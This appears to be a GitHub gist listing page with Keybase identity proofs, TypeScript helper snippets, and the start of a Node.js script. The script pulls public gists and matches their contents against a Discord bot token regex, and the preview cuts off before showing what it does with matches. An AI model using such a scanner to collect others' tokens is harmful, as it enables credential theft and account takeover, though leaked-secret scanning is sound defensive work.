I hereby claim:
- I am y21 on github.
- I am y21 (https://keybase.io/y21) on keybase.
- I have a public key ASCSwqOHI8WFk3w4bybymnd5gqQ0er5QTecT1wZfcGhevQo
To claim this, I am signing this object:
type Value = string | number; | |
type Indexable<V> = { [key: string]: V }; | |
function makeTypedNullPrototype<T = any, V = Value>(obj: T): T & Indexable<V> { | |
return Object.setPrototypeOf(obj, null); | |
} | |
// const p = makeTypedNullPrototype({ | |
// a: 3 | |
// }); |
I hereby claim:
To claim this, I am signing this object:
interface ClientOptions { | |
owner: string; | |
description: string; | |
prefix: string; | |
commands?: Array<Command>; | |
}; | |
interface CommandOptions { | |
name: string; | |
enabled?: boolean; |
const fetch = require("node-fetch"); | |
const regex = /[MN][A-Za-z\d]{23}\.[\w-]{6}\.[\w-]{27}/g; | |
fetch("https://api.github.com/gists") | |
.then(r => r.json()) | |
.then(r => { | |
for (const gist of r) { | |
fetch(gist.files[Object.keys(gist.files)[0]].raw_url) | |
.then(rr => rr.text()) | |
.then(rr => { |